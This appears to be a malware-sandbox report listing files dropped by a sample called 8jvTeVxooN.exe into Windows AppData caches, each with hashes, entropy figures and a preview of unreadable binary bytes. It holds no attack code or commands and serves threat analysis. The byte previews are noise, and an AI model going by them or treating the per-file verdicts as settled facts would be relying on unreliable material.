C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978382638316349
Encrypted:	false
SSDEEP:	192:REIT6jBlJN/iKfXv3AMA7tjLPRQ35pfoAd0bf4nr4sIS2:RF6fJttff3AlLPRQ37QAd0D4rvL2
MD5:	6DA139DBE31BC6D8426B41CE6F296F9D
SHA1:	07B4F1DFFCD1CF1B24E9AE7FA5766628876B38AE
SHA-256:	0CDFC7FC7A3DD1D4C6F397E1656E72C160AFE0CE15A04E06F2BD4ACBED5A5AC0
SHA-512:	0EE1944CDF4DF0FB32AC720BD2E9ED5BF7C227C2C9D254FE0E9C9F32AF65E81F8E2DBAAF09C273DD3FEDC546A80267CF27C09C9518A3B1EE2A1DA3B8068CB11D
Malicious:	false
Preview:	regf.....f\|..D.lfU.......]..jv....C.[..q...>R.......\|:6.1..J.fM...O.k...n..........$r.,J,6Q~8./0...WN..kxwK.{j}o.q..G...-..;..K..s.C.<..~...v....v.CY.s'-.Nt..#..R....;.&.y.Je..>a.Z;m...A,..4.0.2e.B.v...3.).......p%W.Q6{K...a.0.V....z.....$!.j.SB@.......B.G.#m.B.......0a`........<..wER.......l..'Aiy.x.w...V.04I.CiPx.].C[+Z..7....!......xF....6...C.....-l.....EF..p.$....9...8W.Ic,8._.Q.f.kt.T.4..g..&.x...c..w........^%8...._4e....[.Wv.K..$B.....l..b..Q...j....eK...J.....S..N.L. ....H..b.I2sB...S>.l..m~..-8:..s.S@. G...W.....FS.W..K.sX.M`....A.x......hzj .To.>x3.(...q..q....@Y%.....;................d.m.W.K^..#-.. U....@7....>.g...%...X...0....z....)u#...I.T.+..-.Bw[....E4S.8.......B....B... DV..^..8.....i.B....)9.8z.[{.k......=wga;#..r......7.%.I..l.B......0......x..._...(L.;.xR.n...s....]..>2,...wt..[Q..y. ...6i..n?x.L.4fv..4.\|...[$i..P-O..z...o. n.q\..Rf..&..\.....x..Fk~..hq.W.7.[.p.....x.v@.............Im.k...".BL.+........D

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.3304750037387858
Encrypted:	false
SSDEEP:	3072:2tL3OeFL4YVxOgBfvxJbVL4CVR8xElTx1iNF/0F528waJ0a9:2tLeCNDXBcCT8ir4G528H
MD5:	200A7910BFD01514BED1F058F32A42D2
SHA1:	FE7E1187EA5F2E28A1E017A151DCB5E8E53392DD
SHA-256:	1B315529164D9AFE65DF9203432069CB8ED8D63C4AB95D682ECBBFFF361421D1
SHA-512:	103733CF8F26088F61BD734243A913ED831B6681ECA3E1686E1089949DCEBABF91D670411CAFC3CAFE32E132433F13D74B0DBE892F0A0E24651AF821847EC61F
Malicious:	false
Preview:	..4t...H2]....=g..d.W...O.N..XbE.f.....%.sd....M.61>C.z.g.Sj.Ck...Y../.fG.....+N.\7."k..D...;Y.......iU.....3....I7YT..p.Vj.j.....X.......4*.u...wv.....p.v%..)l..-#......jhx..i@n.(...V;,..B...&q.N.m.H(.v.#..d.RO...p..=0..W%....c]..b_....4....U&.....o..../...S.U...z.l8.f4?_L..(...i... Cym.&...x.=.:...-.../D.v....m..[...M.jw....S~_..m.!.#I^.Op+.y.E..+i...r.fzVH..cOj\|q.xm...u.zh8.@...@W.;....$"..:.We.7..eun@].{/.....{uC.....}...d......i.R..`..OzV.Z8aQW...b.F..Uv.I..Iq@......+....d....#+. 7^[B..j4Go[.$....w`&C\....m.I....H3..aV,.F&G...).v\|9...e.m..o.n......P.Md.....a..NN.;LC._..m+.<.N..V.{.A.....PU...D.......E.<..H......2.;....b..i]..\|._w/;G...... +0..h.S.....e....,k........C@f.-@3.w.C-..;4.=.....z.W.bAX."./G.F.O9./U..q.....2i.G.c..D...vG=..(......=./..#@6.i.&.+7...E..2..V.z..>.A.?.]c...r.+3Q.GAS......L....,.o.s..e....z.k..N..'A)..Je....=m.tW.g.q.......(.Z......$.......=..B..X.bo...7BX.X..2....Q)N.......T..l.....c].-....o....&.}....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.987681396332046
Encrypted:	false
SSDEEP:	384:n2gcscv0ci12hZfvI+kNqUI2YoriolN2Jem3VMnMWaRRV:2gtq93vLkBHY6ioNGFMpad
MD5:	031BE0ED007307C9AEC6CC3312AACDFC
SHA1:	90834EFCC2B9779DA3627224E31042F4E8B2D69B
SHA-256:	6DEDA2CC121A71908992459C850B863AA57191E6D14E4E9476F259FEFAABEB54
SHA-512:	897072EE29C3498401ED6007D58E26E680197BA89D887A621C6A6177F3EA3E97D40ED95D8B74F79BDD652F06221326CC928F07751C09E4CA4EFED221F800F84B
Malicious:	false
Preview:	..}..C<.......X.F.b.34....my......2.q....L^.%......\.....v.;Q).......y.F).......h..~...'C.........[.....dm..@.I.&......z.%c.qy-,.a...A...Ho..{...vu.....s.g...u=2_Q....]yi4.e..y.1....:j..&.....lS(.V'g...i...T8...{.....'<..[....y...iP../.Q#....PP.}..c.8....q..i...-....=W}...e.c._K..?..:.....<L.....$....d...j. ....1.B.y.%.DkN.{gb.d...].>....+......Qt....C.G..tohE..q.fMF^VmB.8rCw..:.b.yt.a..h....k......v/...\O.&...;..<I.X....f....4A......&=.......HRa.H...\.x)...W...#!.e....c.I.....d..t....f.f..i.\ ...' ./..1.y.P%......(.4...s^.t.L.dt............`..:f.....j\.4..N..l....QG....'I..@.Bj"Tx..-C..J...%.....[.)..P..c..4......[^.........k..'Q...O..n .k..... ...n..I....U..OxFG...e!j#.'N.X..X.!A...XX5.<7_..JM..:......t....D.v.:4h..........!...M.. ...7....._q...5.i.4.....A,]'.o0. .#/......BN.u5E.....L\|..8.....H......R%.3I..&....s..T.$31....Q...2Es.l. .JX@T~,zj...,...,..sJ.]d.h......F7.E..$\|.....SV.aF.+.h......}.K6....\|..J.b.........J<..C<

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\778a09af-71b3-49bb-83e6-36722d62514f.6dfb6b5d-10db-4868-b4ad-ef207a2dda1b.down_meta

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.8903861718958135
Encrypted:	false
SSDEEP:	24:mZDWc2t7+9CIpPzTXsQYqEIKBT6qyBImI98GTlrTizib4IZen9kNrirObD:0Dvs+hpP/cemTRCE1TilkNpD
MD5:	071776B56BA9475812EE71513CA8C972
SHA1:	D0F248774D9BCE4EDA4395CCB8E015DE4E7FEBBB
SHA-256:	74530B31D89E8A2EBDE68ED3A741219C9D434BD18BD342F4497BE882121D872E
SHA-512:	C8393D04FE67ED1389949D2AA5445EF1DBED48CC66775470A212C18EB553F2E247443715BDF3FC6F0279CDF97A6DE9B9DC6E02D6DD617CCF1CD2C7182F15F136
Malicious:	false
Preview:	h.t.t5B5W....3.,..f0....K....Z:.8....Vf..#.....3\| ...uLs.0.#7..3.V..K..u=.E.....4-_f.4..hM..i..8......9..b0.\|m./.....<.VL..j.:.}..NfO.".]....\|.i....c.u.=..#.L<,E..=9...Q...@...8.%M./r...v..,.`b......J.t.A.;'i76....?..........s...\s.L.Q9....p...,]:..IX.._.0..4....~..T.......2.m...D...L\..X./.....-4f.....m.....G.%..`;\.FQRoR..e.....[...^.~s...rtY.)dk.d...hU.rI.=u..n.....P...Je\|{x^......+..k.w............_(.......x..A.A..".m...t..<f@v.....-..e.8.)8......9...$^+..1.1......J.j..l.u.H}\|....z..$..O.Z.....Q..........}C.....RE....L.#....;/,]..6..\|^......V.8.X...lZ.).q.5..7z..>......m........O].........T}/Z....CFV.8...TKg..X#Fmg+c4%...$..o....}.ik.Y..>....TB~...h.H.?....o.5!..,.....Y.h^........1..#.R..3.k. ....f\...k %.{.@..p5...yu.B.......VM.....r......T.J5.D..H...fk.......&...O+.z...nAm..f.m8:._......>=.2"%.]Y......Ej...H.gk..>.R.S]=..]cOb.C.].m.r.....A:V..O?.....NS......H.O..Q....c.. ..L....D..).....}...5="O8...8F..ZYb!6.h..j]&.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\778a09af-71b3-49bb-83e6-36722d62514f.up_meta_secure

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1092
Entropy (8bit):	7.79601315751655
Encrypted:	false
SSDEEP:	24:Q8f1ieWWvabddMqtD84gmyvuKBtRdaiQhfjbkWOWEhJNASBMCR7U9bjuIObD:Q8tieWWvabnMo8T5vxBMZjblLEhj1R75
MD5:	8B419DE743F61A73A296DC20EAF99474
SHA1:	11FE0076B6C3A9731AB8FC738D6342459166A266
SHA-256:	2910D9B9E208210850E256C53FCCB59B59341BBF5EE11D2CFC1833969B8ECA23
SHA-512:	C29E4C8BC64A413E54F14FCF628DBC0D16008E869C955BE2A492C651066B9D327B404A914E2C893E5E2117BED584293650DD533B5F3A46E5181EB991339D1A88
Malicious:	false
Preview:	.......P..C..f....C]4......Fy.Zj........1....2K...c..{...M....=...S....S.3@..ZJ.(..R....O.P.`.o@...<.{..;.V.&.<......E...-...n..e..b..w.m.5DL.c.....B...6.Ph.u.w=T.6.`m{..S0..c.....`.........)o.........^<.s..j.$.w.+..c.:-m..&. h34.a......m.>{1.).c8...v.\|1......7.k.0....j2..k....M.......->.4..Z.w..%..LK.....A...a...<.o.0....3.ic7.......-5c................\.~P.......P.l.OGB"h1.{99.....!...6.>..v/bJj.o.P..@NT...w}.h=...Bz.<..q..i.9..ay.......'....Pwk?.M..M...o...`..".~....6.v4N....e.Wt....i.t..Qo....Ca..n..%.d(...%.wTa.[...}>H.~.Vh;..,(.'..9.Dl.L.II.n..?...M.W..B;...c.......C.N-.-...#.>..z..1.@.fk.d.86.........3_%.}...n.P.9..+..~$...s..?..U.Zz....Y3Q,...T.\.Z.D.;P!R..v.W..q.>.X..b.}.I..+..lE9U%..6+.M...O...1..(s.fth.8:.u...p.a7e.._Z.....M.l.....uZc.RP&...P...bF.......(...1..R.Ph..kGu...GG...~..Q6..\|.1..$...-..t.@.U......E...\|?....,k2.4e..l......2.....F./.2.'Hr,a)U+.P>...~nX7.I.u.#P2.J.............'Mf...8...t]..z.."t[.$.IW.{I.~.uV4...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\TokenBroker\Cache\e71e1300703d5395820e448840a760f0dd25ad50.tbres

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3084
Entropy (8bit):	7.9370517400538425
Encrypted:	false
SSDEEP:	96:WRGHHoHZ5LOkDiamvJn+9sl1KN6XODQyWA4QHlZMK:Ya+Z5LOk3K4Ol1Kk+GABFZMK
MD5:	737E166BBF0AAC35DFDBE51FA309C282
SHA1:	F92E8B078A30BBCB779586081F40CA936723C10C
SHA-256:	B548C76A53C8FD1868A187EEE8C003D3487CA100DBFAA012756D521994226ABB
SHA-512:	9DFDC38C628C5AA139B697DB913C14494FFECD1D5340970092AE850D40BECBDC5339CF739A47643A5989EDAEBC3242B30EB746CCF03F674C732AE496AA4A1ABB
Malicious:	false
Preview:	{.".T..W.Y.......tv.#&..A>v.....;...q.)%&.;..........0.OO..'.nM?=....t4+...D...Wd{B.a..;.5@.XGY.104W....%...U..tv.y.......m..`;..Y..:.)6.+... D$.o]....r...J...?c..4[./.Wy!+.[.a.j.+...EHS6I.2.+..\|L!..`D.=..LD.....6.<EH.)7..W....".s.Y..0.'K..=.y..y...W.=g....8.}....LmP..9......5o1Z/J.a.<.\.A....P....lF....>.&1$...H.!.`.g.._(...1[..Y.;.q@...}$...]..T..vtT....S.q.0.NH%.....qJ..c...f~C.....&....2h....F.l..!....\|.!.oY..K.I..X...:._...0=.~.....I......r.(.]..`3E'....C ....p`H(..}.e.........>.$....z...[....M..p..3..\|..9....B....^....U..7...k.%(j....3.0..u..(r.$w....7[+o.....,.E..I.d#.H4...I...~H.q.`.......tl..~$,..rV0D.e....*.Y._E..8..w...%....aU..t....&..P....{F.j.V....Q..L..d.?Fr7....rv.S..h.......<...J.l.....U.k.$F....7..v.Tp...$)..dW.enp.!1..........;.p..o.Y7....#......Y.^....;N. ....;%......;po...E.\|C......k...Az....s....6....G.p..w....L./....g.1rw..\...8.4.A..2.Iufw......e....J.\.M....db.3-... ]O...4"....w7g.}1...uaxn...$....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\TokenBroker\Cache\95d9a2a97a42f02325559b453ba7f8fe839baa18.tbres

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.936054252574168
Encrypted:	false
SSDEEP:	48:mk8p3xPMjP2nQbHtmf0avPA+97oJqgil5lLWpteKCMQ8cbaoPT8hkoD:mka3OyX0aJBo+5l6pYMQ8cbaoPT2
MD5:	69D2E6A6C29684CBE67206145399F2EB
SHA1:	607C6F439F6D3729E31A6B32522CF4C8F5E428C2
SHA-256:	5BD4C56337DED966E0D875DB799AAD230A68DFD0741D0E4F8E86016DA0521734
SHA-512:	BA63549ED0837CF11AF9C080A18F95CE6621B78CC22AB25E696DC5831AD2AEB30DD8619AC08F5037658A59C5D4A594E29C10C0ADF6AD03F761B26BA26D678DC3
Malicious:	false
Preview:	{.".T.&.;.....!..v..\|.C..de.}F.....S..Y.......8.vr.R....G..<.T..:...s.A..C.mV.w.{N.........o.........>.._. .[.;...2.X.UU'b;..r..{]'....`B\.7(m.O.=[L......(YY........j..w.)..=."wI>\|.,.Z..v..J/dd...T..?.t.j..s.De.2..0).;6.+.58..M.gA&Ijf...e.bn........S.G2j.j.4.}._..{....e.v)^.I.G.M.y..8...AJ....>.";..U.~dT6...m.xc`..`.R...;..z.......p.r.C+.....6.\<..6..EFG.....(..\.\|c.`rl..>;B..G.....pN=0E......4_....M..4..,....4......\|.nhTv......&X...b...n...6.C.S.c.`<K........}.6.x.$......3(\|.dB..tx.1....@@...P....'.kX0..&k'Eq...b3<.....D...?+./..#{Xk5.(.I.J.z.M....%.X4l.8.d.E.q...I.f...o}q..c.hJ6..$Pr..o$.......I..9S.W.?z..$.?..........HC.Z....&8X.q..A...Hbv._x..\|r.1..d'x.GdV..q.lB....@/....7..RI....S]Qd+..........S. ?......Z.,..7.......).Z..P.6l..L.B.^.....I..3.N.P...f6'..s.z....].3.g.........bI./Ryy\|..Ar...3n.l>".]...:.wq.F.A..X..t..Bx.R5Vg......].u:.u.7......0...x......7....*....^.....!....}8....[.YR.61...J.Y......x...D..a....,.j..n.;.. $.cg.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\TokenBroker\Cache\fbaf94e759052658216786bfbabcdced1b67a5c2.tbres

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.936977034481066
Encrypted:	false
SSDEEP:	48:5zCJ/qCExNJIsDUQMuvhl0db/0bu8U573Jls2QMfRZL9/TV+114EADhkcvNWLD:xCJ/qzRInD59cby5TVH1VYJGGeNWn
MD5:	B7E391A0EB2E5073AC1A04B267D3BCC4
SHA1:	5DF2F12530E5FBDCE14C765A4C7E2D988E4CF2EF
SHA-256:	59F6280665D2ED76769C06A888A7EB6F784957311A95811F55C7CE7E744505FD
SHA-512:	80455E4720A134C7EB81818C4DA14948780BE339C4A2434F6D593E3C0BB0B2F4F194DBC3CCE712D6F1DB6DB78EF658F657C730EAE565D5F7335F75145CE82734
Malicious:	false
Preview:	{.".T...;).-i..F.u..\..2$.5 &~.tT.}..,......}.#..;wn.... .....>...H.Z.......K(......P.A.:.l .2q.....\|..>L..>..L.2.......Zsl.>...8._.&W...Jq..ph..a...U.v..._.1...4.z\....9p.......E.0..92..9......;..h.....p.~.:..d\|.{N.i. ..I......!.;.d...-.1sB.H...ka..Zz.....MY..U.'./g..a.........g.....z),'......t.....C..H...z$[`..p....)..pB........&.".....z.0..}.4.u+j.[.h.5...8Z.\.E\|...M...2&..D^.7.[...\|...2..0...%U4.G.2.....+P..O..e.e..9.y.2<.p.i.... ".A..S..f ...!f$.R...3@....>.y.J..<...+.c.#.....j...l....EE.#..1.K....z6.Esp......owG.`".}oE..<.}.j.wln..B.Gk.M..)...m.?.Y.....9..J.u.=fSk..h......v..IWS..W7.......pn.Wjem.0.....Xpt..r...bV..E......C..~.q..5p....62.pGA...x..t.K...#...'5.o..U.Iz.fYx.Mo76M....6...k...y2...,d@.0.HA.?X..:.QN^e...\|.\..i..2hAu.....Xzf.k.O...KVd.N. wj.CW.e....l.M..f:.0.<C..9..ABU.[....dS..E,..E....J.-.k.....N...&......n..pI.\...._2..y_...F- ....y.......qV.u9..r...[......KV\|Pr.RV.....,..v.....C.*O.^\|........O.pj.Y.....q+.e....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.3189746790846952
Encrypted:	false
SSDEEP:	3072:aUtJkrwfPGTGDKmK3jVfzroWnkIanov1PDBM4dAH0aic8DSIE5LTBGaPad:aUtJDfCGumKzV1nkIaovFzyB8DtSTBc
MD5:	E33B4EEABD56331F9B02EBA3B35B9113
SHA1:	FE33397762A599C0F948F2CC458C4594669906E7
SHA-256:	C7EFDBB26905A1415CF32FDF039CFFC7B8A2EBC03E3FCE4DBC3991B01296C669
SHA-512:	1534E4B0D5DEC2EA0BC9BDD3F9072BE88FED9229DFA7E0D4C7FD4519C82C81BB157A4682B389F8E3B71CCEF6E4B25972140AB9E138C7CABA32563176ACD2E842
Malicious:	false
Preview:	./...O.,wD%...l:..xz..R..v.,H.."Q..4t.HA...A[..#.....2d.5e^L.#.....Ig.O........h..agrjQ..\V..&.^x<..E.......Y.....-.Ozk..h.yGB....#"2@s.H.D...<t.K.......V.v~.~...>..].........!..`BOD?...^..B..u...H... ...`..T...T....A..h......m.J.[`...a....h....9.e9.P.n..c$......uq..Q..L..E............^.....]..V..x.>...".HU1..9y"...+....4w\../dW.$!..X.-...p.67..$...6./_.z.B...T...ka..[..Li.v\@.?.T;g....p......D.iE5S....'...i.#,...N.S..r......gH.,"q+.........].Sk.E.......5.q..v.c..........l..t.n.;VV.)V...I/.z.nI...:.......m.'rPV.Tl...I.#D.b.\.o.\|...`..B.......AS.E...P...cW.K^Q..."P..+..P.......^.K.....vE+...c...8M....j..nY.0SK..gs.}....k3.'RO.).x.%{...z_R7>..Q..j.4..r.7j.J.6.+.Zd..?Yy2v)$..A...i....&C..8&9].+$....k..m....\.-....$m.u..{R..36uD...S....D..q..5.....%4.O..5O.+....E.{?...Uoq.......b.x8Vc}K....,.....G..R+M...;...aO....S.0,.i....3H....(.!.AO.9p.`!.X...Bs]W.\|w.8.w..)7.9A...a..........Lt%.....x;Tho.Z.s...G ..f8.7..k}o..g.N.%.&....<L@U

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989349582642051
Encrypted:	false
SSDEEP:	384:Pn29LEAKqIgntLKlggtKCQuMf5b16DARiTEQmwDGzO0C:Pn29LEQIktL+gMWpfh16D2Q/H
MD5:	C4CE8425F4AFCB87A1FD06D1B4B7D3E3
SHA1:	10C0809896F8B4D6BB605822D6B67F5A1A336004
SHA-256:	DDE2905C7FF02BDE4A72F73FC415A4DABEB89BDC151D91FF11FC4E1FC6A79CAB
SHA-512:	E0743A4570AA5F873DFD217E2FCCAA3604BDB2A186B7EBD4395BCD72AB2CDB002B0012AA2E4D11C2275FB19700F6F6B19ACEDC1CBA54BD869B80DADFEAC9ABED
Malicious:	false
Preview:	@.v....]c(.q....&.m.a.Ur#..M(U.y...w.w......4..H.K.R...r...}.....<.'53....y.6.....j.8....:...%.7...%.0.j...0&xdN.......s.O-.p.0....O..4]I./W.9.U......9px...2(1T.!........@...I..&'..G..\z....&4.r.A...`$...]..U...g..U_.~/G1I..O.7.....iJo.:.1.....do..."!yk..h`...l..q.`\.x]G..@jp.M.._..P5&.....s.'...&.>...L....H.e4...q.)..k.`.....3ss.i.e{..........{...Y./p>...n...".i.20..%..q...^.#.A.P...I.c.....s...../. .j.r.(...bH..E......yeE.].>?h..T...S..3..w.O.Z.Qq....-.'.f..s....F....y..D...Y..H?..7..A.F{......bQ0u..4).....S.%<OW.,.....M1.,.........&...SU8.zT.w..^..Yv.'6P.i3..sX....8.Qi`!..;B.0.A..p}....1........'..J...uk.[.....}q.=eG...i.B...-...F..H..1l.&8_.E.gH..,.v..q........)W..n......H#xvMHD..Y..eV..v.H..{.+.EM.._......%...{.j..W..d-..e..:9..._.......=..Jb.GT.i6.zG....=...!.;H..1...n..S.~Tf..'.u.0....c.p...3...,.d.\.^..Ze.pivD...e......lX$...-w....d2..s.>v.Q..%.3...WN>....p.....P.B}.U.>..c.E...$..gH..Fg@..Eb..J.}...>...\|u.-h8..y

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.edb

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2097486
Entropy (8bit):	1.1132305229817376
Encrypted:	false
SSDEEP:	6144:xQppQz5WjTUzWIvlXhqh1YTm5PIDGKvATrsn:x3NI+1dCYi5EGKvZ
MD5:	D9921D77D24AA93343AD3B00803C4031
SHA1:	B3D98D8979D219B52EB0868F52C7DD6FFDDBDA7B
SHA-256:	F87BC0825941C08F9D1867D54FD6A10C89E449D2D1FEA964417ACDD34A58C925
SHA-512:	E4B02F3CFE498A34F1AB629C45B81ED83D354022024DF48BD487222D9C057170AFBACBFF9A4126BE04ADE8AF08B8BE6E492A938A90FAE821CB4F68B388D0EE53
Malicious:	false
Preview:	.....1`.'.\...9......2F.h.>...J..).#.......A..I_....8.=.. ...ZC5`.}..q.S...D4../.(.HSY..'.og>.'t`5......Q2...0..%.Us].@..s%..6..W.m..m....[...A.?...s.a...~..tT.Q1$.[!.Q...O..G1..&I..Rq..A,..v.1.lk....MM.g%.....2....=.P..5L.A..}.l...^Z...m.N.S^/.,...+.....<..hAZ...W../...?.s..S^.A.qr.0H..P#.-".O...},.z..~.>>,_." ....n0....sH..h......._. .}c.g....k.YY.8.....x.D,....\|..-......G.........VQ.jN.av=..-+..2.T7#..Y:(^}...... ?..yly....r....D. ..alaj.5G...q.f..\|...t.. ....s.!.Vv2=..NX?V\|.. ....'.(;...U...q.g...n..2v)a..}..a.i.l'.m.7..Ud<.e..=....g.....L.'..0.r..F.wv.o.r#4C_=.OC[..I..0.c.9M~......3..8u..p.K1?....:C.g..X..#Y8.9.k%..vSV .`Z..\.G....-IF...K..._.....".{....D..F.........G....de..0X......\|......v.;_..n`..RB?0.....32..bR.........F?_5..76.'.....\4....z.K......F.....R..&..;...4.&.+..X.}....[.-b.3Dz.......... 2..p...:........a....t...#.L@?cV......Y.....e`UY".=.WX...x..n.r.....x..!..Q4.-B..N.@s......W..P.h....v....._.....K.....p...Y

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.jfm

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989061258739599
Encrypted:	false
SSDEEP:	384:9CtwCEG2FWTdLdtJwlh7EBOMiBAjxKrU4MUWBLfRq:9sdFkqOMi2lEUb7pRq
MD5:	C31255F0AF1B52E399A1E50341B85F74
SHA1:	149F8158E521241A170B5EB9033C6427B8202816
SHA-256:	93CCD32DDFA9F8C6481244BCFA55BD8B9E1A1D65391261B13E16270EE30B3106
SHA-512:	ED01EA0A866D8FF2556ABCC4C426B272F911D3C8368D3BA96ADFF4084D327564225101A7A0AAADB82EEF383439F0B98F21505E1028B6EB45B3F862F464236FA4
Malicious:	false
Preview:	..l.....#.=.%.X.Y.P(R...S.O{.UR%O.h.N...+i.!.........j..^RMh.;.i&......Y.......[5xB...p..9\S.:....@`..5 .mF?.s.u.._..':=3mVb.B.....v:.....}Ck0..L...b.U....i.....lU.ZmR..?..1f.v..vx.i....P.k..&..K.^$.........Y.j.f..j........1u.g...F1M...d{ V.3.....k..QK..D.']..Q...!...\|.......z^..1.${.."+j.r...{.a.#...~...m1......p>..b......L.ki....A....<.....,...(.2.Af..J.6._j..C......l..Bw..{..E........Y....#o.)...`I.fm.}Go?h....%..p.x..s.1..or]W...4..b.....].wB %.-...&.^v.+F.R.......t....p..c...{[7d..x.....1.B...A....#............\|.....4\|N/L..`2.l....:.JRz..?E..)..N.p... ...,0.y.n=.w.K..~.w..G>A.}..u($CIs......U.W....%..(/o..xGT.1E...1.....[.[d..D."....aHFP.,..].5..w.j...7"xMY.o..q.O..K.%.....r...g......IN.7a..e.#...H.Ir. zl..q..&d.n.0.......b.ke....T........'..p..;.......&..E....%..8M.d.B~i~...3.b.;...F.}. C..[.u.._0..Q,^.F.b.v...KW.K....7.#..`.......B....L..X.W..hw`..3fKVKM.~..Q.9..h.g".....6..E.H(..P..q.>ZL.....%...~..:-.0.$C".....<.3.......Bn...U

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edb.chk

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975988613562566
Encrypted:	false
SSDEEP:	192:nv0U1n5je3S9a+srxmkuTTu5m8CLeon1dmbAK3KmBXBX6rPtmDOooLdwT:v0W5q3S9c5uTT4JCLdGK+RXG1OPo5i
MD5:	C40B4BAE34613D32351610C4D7BE6949
SHA1:	0C53A67539B9FB2A27E97E24A295F4510332558D
SHA-256:	A12BA541400B969C8A7C192806DA0672F436AFAD9C23FCDB3CD31593EEC044ED
SHA-512:	41109AB7BFEC4C7E5BF1FEB0686D4B71033615B9A48C9C81C4CEBBD842303D5C6F9F9A0372077050589D95A3EC75EBF08D9115C7B73DFE1113F40693BEAB7677
Malicious:	false
Preview:	6...u}(cy9.Ft>.Y.....!...F..j.I.8h....#..EWr....3.;.sp.m.M.o.jA8..O.l....Z9N....x8x..T.[...rS.!9...e...x}..Dt.:...x._`L\..Lo.a..w.#K..a...akh.....g:........,.......x(..P...Y..[...1.3.. .U.\.OVc5.iytk7...9..j.x.....W( ...s...H.%4/S..Q.1R...}.9dS.C]$.J}..S..2.rf..pvw.....U..l./.9Iww.. .....G.>..y.....p.:...4+.=...af......=.Ki..@i.b...RP.k^.[.3R..v..b.Dl..%......a.....HP...U.............x.rv..7d#.b...'j.Pg..Id.e..'..n.-W.x..[....IB.)...y14...c}..bR/..........8;..K..V...~...`.........S..2nU.r./a\........\|.Fi.....=9..A.f...-..6.?8.:..r....<' ^@.....p.....l..~.H;..sRJ.. #....v.....=.L7z;...h7............ 2q.9.zK....q.7....~..o.R....Q...8.6.B...*J.......1.......i$"...$9.>..]...1....?}Nm.MJ...E.'.F.h...v...V8-..eK&P/.j..:.5...J..9.[.8..[}Y........{..p..-P.=...C..4N2.V1T?...#..."}..,.U....<.....3....oM(...`i.c....].........f..x@.1b........5R..\....gj.K(.f..S.R.T.26..W..!..-...`.m...Q.c.DQ{.~..$.....G..%...M..6f...:..f.(..9..../..$M\|..u.U

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edb.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.208678187520308
Encrypted:	false
SSDEEP:	6144:yVhkSKW5ti5iiFnYdf27bncFcI1vSsDgz0d2Z:yVhkSKW5ti5ipdfkncFNKsDgzXZ
MD5:	63B8E9D7AFA25280524BDE11AFBC1E0B
SHA1:	F753E15D5FFC93FF24A38BC778DA4254B96A6021
SHA-256:	465113EA97E37D5233F744914D4BF45300D305ADFF106BC4DC5FDFB9916E5AE2
SHA-512:	DA1ED3FA85AF23058162F422954291D2AC807EEBCAA8113CAED4CED7A72A75BC04A63974A423D10EABE15C28817AEEF484451D25E76E9D26E3E0D40205DB266F
Malicious:	false
